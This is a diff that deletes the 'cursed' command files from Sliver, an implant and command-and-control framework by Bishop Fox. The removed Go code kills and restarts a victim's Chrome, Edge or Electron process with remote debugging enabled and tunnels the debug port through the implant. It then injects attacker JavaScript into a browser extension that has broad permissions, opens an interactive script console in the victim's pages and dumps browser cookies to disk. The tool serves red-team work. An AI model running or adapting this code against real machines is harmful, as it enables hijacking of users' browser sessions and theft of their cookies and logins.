-		Use:   consts.ScreenshotStr,
-		Short: "Take a screenshot of a cursed process debug target",
-		Long:  help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CursedScreenshotCmd(cmd, con, args)
-		},
-	}
-	cursedCmd.AddCommand(cursedScreenshotCmd)
-	flags.Bind("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) {
-		f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
-		f.StringP("save", "s", "", "save to file")
-	})
-
-	return []*cobra.Command{cursedCmd}
-}

client/command/cursed/cursed-chrome.go

@@ -1,435 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"log"
-	insecureRand "math/rand"
-	"os"
-	"strings"
-	"time"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/bishopfox/sliver/client/tcpproxy"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-)
-
-var (
-	ErrUserDataDirNotFound      = errors.New("could not find Chrome user data dir")
-	ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
-	ErrUnsupportedOS            = errors.New("unsupported OS")
-
-	windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
-
-	cursedChromePermissions    = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
-	cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
-)
-
-// CursedChromeCmd - Execute a .NET assembly in-memory.
-func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	payloadPath, _ := cmd.Flags().GetString("payload")
-	var payload []byte
-	var err error
-	if payloadPath != "" {
-		payload, err = os.ReadFile(payloadPath)
-		if err != nil {
-			con.PrintErrorf("Could not read payload file: %s\n", err)
-			return
-		}
-	}
-
-	curse := avadaKedavraChrome(session, cmd, con, args)
-	if curse == nil {
-		return
-	}
-	if payloadPath == "" {
-		con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
-		return
-	}
-
-	con.PrintInfof("Searching for Chrome extension with all permissions ... ")
-	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	// There is one alternative set of permissions that we can use if we don't find an extension
-	// with all the proper permissions.
-	if chromeExt == nil {
-		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	if chromeExt != nil {
-		con.Printf("success!\n")
-		con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
-		con.PrintInfof("Injecting payload ... ")
-		cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
-		// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
-		// defer cancel()
-		_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.Printf("success!\n")
-	} else {
-		con.Printf("failure!\n")
-		con.PrintInfof("No viable Chrome extensions were found ☹️\n")
-	}
-}
-
-func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess {
-	chromeProcess, err := getChromeProcess(session, cmd, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if chromeProcess != nil {
-		con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
-		con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
-		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
-		con.Printf("\n")
-		confirm := false
-		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if !confirm {
-			con.PrintErrorf("User cancel\n")
-			return nil
-		}
-		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(cmd),
-			Pid:     chromeProcess.GetPid(),
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
-			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
-			return nil
-		}
-	}
-	curse, err := startCursedChromeProcess(false, session, cmd, con, cargs)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	return curse
-}
-
-func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) {
-	name := "Chrome"
-	if isEdge {
-		name = "Edge"
-	}
-
-	con.PrintInfof("Finding %s executable path ... ", name)
-	chromeExePath, err := findChromeExecutablePath(isEdge, session, cmd, con)
-	if err != nil {
-		con.Printf("failure!\n")
-		return nil, err
-	}
-	con.Printf("success!\n")
-	con.PrintInfof("Finding %s user data directory ... ", name)
-	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, cmd, con)
-	if err != nil {
-		con.Printf("failure!\n")
-		return nil, err
-	}
-	con.Printf("success!\n")
-
-	con.PrintInfof("Starting %s process ... ", name)
-	debugPort := getRemoteDebuggerPort(cmd)
-	args := []string{
-		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
-	}
-	if chromeUserDataDir != "" {
-		args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
-	}
-	if restore, _ := cmd.Flags().GetBool("restore"); restore {
-		args = append(args, "--restore-last-session")
-	}
-	if keepalive, _ := cmd.Flags().GetBool("keep-alive"); keepalive {
-		args = append(args, "--keep-alive-for-test")
-	}
-	if headless, _ := cmd.Flags().GetBool("headless"); headless {
-		args = append(args, "--headless")
-	}
-
-	if len(cargs) > 0 {
-		args = append(args, cargs...)
-	}
-
-	// Execute the Chrome process with the extra flags
-	// TODO: PPID spoofing, etc.
-	chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-		Request: con.ActiveTarget.Request(cmd),
-		Path:    chromeExePath,
-		Args:    args,
-		Output:  false,
-	})
-	if err != nil {
-		con.Printf("failure!\n")
-		return nil, err
-	}
-	con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
-
-	con.PrintInfof("Waiting for %s process to initialize ... ", name)
-	time.Sleep(2 * time.Second)
-
-	bindPort := insecureRand.Intn(10000) + 40000
-	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
-
-	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
-
-	tcpProxy := &tcpproxy.Proxy{}
-	channelProxy := &core.ChannelProxy{
-		Rpc:             con.Rpc,
-		Session:         session,
-		RemoteAddr:      remoteAddr,
-		BindAddr:        bindAddr,
-		KeepAlivePeriod: 60 * time.Second,
-		DialTimeout:     30 * time.Second,
-	}
-	tcpProxy.AddRoute(bindAddr, channelProxy)
-	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
-
-	curse := &core.CursedProcess{
-		SessionID:         session.ID,
-		PID:               chromeExec.GetPid(),
-		PortFwd:           portFwd,
-		BindTCPPort:       bindPort,
-		Platform:          session.GetOS(),
-		ExePath:           chromeExePath,
-		ChromeUserDataDir: chromeUserDataDir,
-	}
-	core.CursedProcesses.Store(bindPort, curse)
-	go func() {
-		err := tcpProxy.Run()
-		if err != nil {
-			log.Printf("Proxy error %s", err)
-		}
-		core.CursedProcesses.Delete(bindPort)
-	}()
-
-	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
-
-	return curse, nil
-}
-
-func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) {
-	userDataFlag, _ := cmd.Flags().GetString("user-data")
-	if userDataFlag != "" {
-		return userDataFlag, nil
-	}
-
-	switch session.GetOS() {
-
-	case "windows":
-		username := session.GetUsername()
-		if strings.Contains(username, "\\") {
-			username = strings.Split(username, "\\")[1]
-		}
-		for _, driveLetter := range windowsDriveLetters {
-			userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
-			if isEdge {
-				userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
-			}
-			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-				Request: con.ActiveTarget.Request(cmd),
-				Path:    userDataDir,
-			})
-			if err != nil {
-				return "", err
-			}
-			if ls.GetExists() {
-				return userDataDir, nil
-			}
-		}
-		return "", ErrUserDataDirNotFound
-
-	case "darwin":
-		userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
-		if isEdge {
-			userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
-		}
-		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-			Request: con.ActiveTarget.Request(cmd),
-			Path:    userDataDir,
-		})
-		if err != nil {
-			return "", err
-		}
-		if ls.GetExists() {
-			return userDataDir, nil
-		}
-		return "", ErrUserDataDirNotFound
-
-	default:
-		return "", ErrUnsupportedOS
-	}
-}
-
-func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) {
-	exeFlag, _ := cmd.Flags().GetString("exe")
-	if exeFlag != "" {
-		return exeFlag, nil
-	}
-
-	switch session.GetOS() {
-
-	case "windows":
-		chromeWindowsPaths := []string{
-			"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
-			"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
-			"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
-			"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
-		}
-		if isEdge {
-			chromeWindowsPaths = []string{
-				"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
-				"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
-				"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
-			}
-		}
-		username := session.GetUsername()
-		if strings.Contains(username, "\\") {
-			username = strings.Split(username, "\\")[1]
-		}
-		for _, driveLetter := range windowsDriveLetters {
-			for _, chromePath := range chromeWindowsPaths {
-				chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
-				chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
-				ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-					Request: con.ActiveTarget.Request(cmd),
-					Path:    chromeExecutablePath,
-				})
-				if err != nil {
-					return "", err
-				}
-				if ls.GetExists() {
-					return chromeExecutablePath, nil
-				}
-			}
-		}
-		return "", ErrChromeExecutableNotFound
-
-	case "darwin":
-		// AFAIK Chrome only installs to this path on macOS
-		defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
-		if isEdge {
-			defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
-		}
-		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-			Request: con.ActiveTarget.Request(cmd),
-			Path:    defaultChromePath,
-		})
-		if err != nil {
-			return "", err
-		}
-		if ls.GetExists() {
-			return defaultChromePath, nil
-		}
-		return "", ErrChromeExecutableNotFound
-
-	case "linux":
-		chromeLinuxPaths := []string{
-			"/usr/bin/google-chrome",
-			"/usr/bin/chromium-browser",
-			"/usr/local/bin/google-chrome",
-			"/usr/local/bin/chromium-browser",
-		}
-		if isEdge {
-			chromeLinuxPaths = []string{
-				"/usr/bin/microsoft-edge",
-				"/usr/local/bin/microsoft-edge",
-			}
-		}
-		for _, chromePath := range chromeLinuxPaths {
-			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-				Request: con.ActiveTarget.Request(cmd),
-				Path:    chromePath,
-			})
-			if err != nil {
-				return "", err
-			}
-			if ls.GetExists() {
-				return chromePath, nil
-			}
-		}
-		return "", ErrChromeExecutableNotFound
-
-	default:
-		return "", ErrUnsupportedOS
-	}
-}
-
-func isChromeProcess(executable string) bool {
-	chromeProcessNames := []string{
-		"chrome",           // Linux
-		"google-chrome",    // Linux
-		"chromium-browser", // Linux
-		"chrome.exe",       // Windows
-		"Google Chrome",    // Darwin
-	}
-	for _, suffix := range chromeProcessNames {
-		if strings.HasSuffix(executable, suffix) {
-			return true
-		}
-	}
-	return false
-}
-
-func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) {
-	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(cmd),
-	})
-	if err != nil {
-		return nil, err
-	}
-	for _, process := range ps.Processes {
-		if process.GetOwner() != session.GetUsername() {
-			continue
-		}
-		if isChromeProcess(process.GetExecutable()) {
-			return process, nil
-		}
-	}
-	return nil, nil
-}

client/command/cursed/cursed-console.go

@@ -1,177 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"fmt"
-	"io"
-	"os"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/reeflective/readline"
-	"github.com/spf13/cobra"
-)
-
-func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	curse := selectCursedProcess(con)
-	if curse == nil {
-		return
-	}
-	con.Println()
-	con.PrintInfof("Querying debug targets ... ")
-	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
-	con.Printf(console.Clearln + "\r")
-	if err != nil {
-		con.PrintErrorf("Failed to query debug targets: %s\n", err)
-		return
-	}
-	target := selectDebugTarget(targets, con)
-	if target == nil {
-		return
-	}
-	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
-	startCursedConsole(curse, true, target, con)
-}
-
-func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverClient) *overlord.ChromeDebugTarget {
-	if len(targets) < 1 {
-		con.PrintErrorf("No debug targets\n")
-		return nil
-	}
-
-	id2target := map[string]overlord.ChromeDebugTarget{}
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-	for _, target := range targets {
-		fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
-		id2target[target.ID] = target
-	}
-	table.Flush()
-	options := strings.Split(outputBuf.String(), "\n")
-	options = options[:len(options)-1] // Remove the last empty option
-	prompt := &survey.Select{
-		Message: "Select a debug target:",
-		Options: options,
-	}
-	selected := ""
-	err := survey.AskOne(prompt, &selected)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if selected == "" {
-		return nil
-	}
-	selectedID := strings.Split(selected, " ")[0]
-	selectedTarget := id2target[selectedID]
-	return &selectedTarget
-}
-
-var helperHooks = []string{
-	"console.log = (...a) => {return a;}", // console.log
-}
-
-func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverClient) {
-	tmpFile, _ := os.CreateTemp("", "cursed")
-	shell := readline.NewShell()
-	shell.History.AddFromFile("cursed history", tmpFile.Name())
-	shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
-	// 	EOFPrompt:         "exit",
-
-	if con.Settings.VimMode {
-		shell.Config.Set("editing-mode", "vi")
-	}
-
-	if helpers {
-		// Execute helper hooks
-		ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
-		for _, hook := range helperHooks {
-			_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-			}
-		}
-	}
-
-	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
-
-	for {
-		line, err := shell.Readline()
-		if err == readline.ErrInterrupt {
-			if len(line) == 0 {
-				break
-			} else {
-				continue
-			}
-		} else if err == io.EOF {
-			break
-		}
-
-		switch strings.TrimSpace(line) {
-		case ":help":
-			con.Println()
-			con.Println("Available commands:")
-			con.Println("  :file - Execute local .js file")
-			con.Println("  :help - Show this help")
-			con.Println("  :exit - Exit the console")
-			con.Println()
-
-		case ":file":
-			jsCode, err := os.ReadFile(line)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				continue
-			}
-			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
-			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				continue
-			}
-			con.Println()
-			if 0 < len(result) {
-				con.Printf("%s\n", result)
-				con.Println()
-			}
-
-		case ":exit":
-			fallthrough
-		case "exit":
-			return
-
-		default:
-			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
-			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-			}
-			con.Println()
-			if 0 < len(result) {
-				con.Printf("%s\n", result)
-				con.Println()
-			}
-		}
-	}
-}

client/command/cursed/cursed-cookies.go

@@ -1,69 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"os"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/spf13/cobra"
-)
-
-func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	curse := selectCursedProcess(con)
-	if curse == nil {
-		return
-	}
-	con.Println()
-
-	cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
-	if err != nil {
-		con.PrintErrorf("Failed to dump cookies: %s\n", err)
-		return
-	}
-
-	con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
-	if len(cookies) == 0 {
-		return
-	}
-	saveFile, _ := cmd.Flags().GetString("save")
-	if saveFile == "" {
-		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
-	}
-	jsonCookies := []string{}
-	for _, cookie := range cookies {
-		jsonCookie, err := cookie.MarshalJSON()
-		if err != nil {
-			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
-			continue
-		}
-		jsonCookies = append(jsonCookies, string(jsonCookie))
-	}
-	err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
-	if err != nil {
-		con.PrintErrorf("Failed to save cookies: %s\n", err)
-		return
-	}
-	con.PrintInfof("Saved to %s", saveFile)
-	con.Println()
-}

client/command/cursed/cursed-edge.go

@@ -1,170 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"os"
-	"strings"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-)
-
-// CursedChromeCmd - Execute a .NET assembly in-memory.
-func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	payloadPath, _ := cmd.Flags().GetString("payload")
-	var payload []byte
-	var err error
-	if payloadPath != "" {
-		payload, err = os.ReadFile(payloadPath)
-		if err != nil {
-			con.PrintErrorf("Could not read payload file: %s\n", err)
-			return
-		}
-	}
-
-	curse := avadaKedavraEdge(session, cmd, con, args)
-	if curse == nil {
-		return
-	}
-	if payloadPath == "" {
-		con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
-		return
-	}
-
-	con.PrintInfof("Searching for Edge extension with all permissions ... ")
-	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	// There is one alternative set of permissions that we can use if we don't find an extension
-	// with all the proper permissions.
-	if chromeExt == nil {
-		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	if chromeExt != nil {
-		con.Printf("success!\n")
-		con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
-		con.PrintInfof("Injecting payload ... ")
-		cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
-		// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
-		// defer cancel()
-		_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.Printf("success!\n")
-	} else {
-		con.Printf("failure!\n")
-		con.PrintInfof("No viable Edge extensions were found ☹️\n")
-	}
-}
-
-func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess {
-	edgeProcess, err := getEdgeProcess(session, cmd, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if edgeProcess != nil {
-		con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
-		con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
-		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
-		con.Printf("\n")
-		confirm := false
-		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if !confirm {
-			con.PrintErrorf("User cancel\n")
-			return nil
-		}
-		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(cmd),
-			Pid:     edgeProcess.GetPid(),
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
-			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
-			return nil
-		}
-	}
-	curse, err := startCursedChromeProcess(true, session, cmd, con, cargs)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	return curse
-}
-
-func isEdgeProcess(executable string) bool {
-	edgeProcessNames := []string{
-		"msedge",         // Linux
-		"microsoft-edge", // Linux
-		"msedge.exe",     // Windows
-		"Microsoft Edge", // Darwin
-	}
-	for _, suffix := range edgeProcessNames {
-		if strings.HasSuffix(executable, suffix) {
-			return true
-		}
-	}
-	return false
-}
-
-func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) {
-	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(cmd),
-	})
-	if err != nil {
-		return nil, err
-	}
-	for _, process := range ps.Processes {
-		if process.GetOwner() != session.GetUsername() {
-			continue
-		}
-		if isEdgeProcess(process.GetExecutable()) {
-			return process, nil
-		}
-	}
-	return nil, nil
-}

client/command/cursed/cursed-electron.go

@@ -1,215 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"log"
-	insecureRand "math/rand"
-	"path"
-	"time"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/bishopfox/sliver/client/tcpproxy"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-)
-
-func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	electronExe, _ := cmd.Flags().GetString("exe")
-	if electronExe == "" {
-		con.PrintErrorf("Missing --exe flag, see --help\n")
-		return
-	}
-
-	curse := avadaKedavraElectron(electronExe, session, cmd, con, args)
-	if curse == nil {
-		return
-	}
-	con.PrintInfof("Checking for debug targets ...")
-	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
-	con.Printf(console.Clearln + "\r")
-	if err != nil {
-		con.PrintErrorf("Failed to query debug targets: %s\n", err)
-		return
-	}
-	if len(targets) == 0 {
-		con.PrintErrorf("Zero debug targets found\n")
-		return
-	}
-	con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
-}
-
-func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess {
-	exists, err := checkElectronPath(electronExe, session, cmd, con)
-	if err != nil {
-		con.PrintErrorf("%s", err)
-		return nil
-	}
-	if !exists {
-		con.PrintErrorf("Executable path does not exist: %s", electronExe)
-		return nil
-	}
-	electronProcess, err := checkElectronProcess(electronExe, session, cmd, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if electronProcess != nil {
-		con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
-		con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
-		con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
-		con.Printf("\n")
-		confirm := false
-		err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if !confirm {
-			con.PrintErrorf("User cancel\n")
-			return nil
-		}
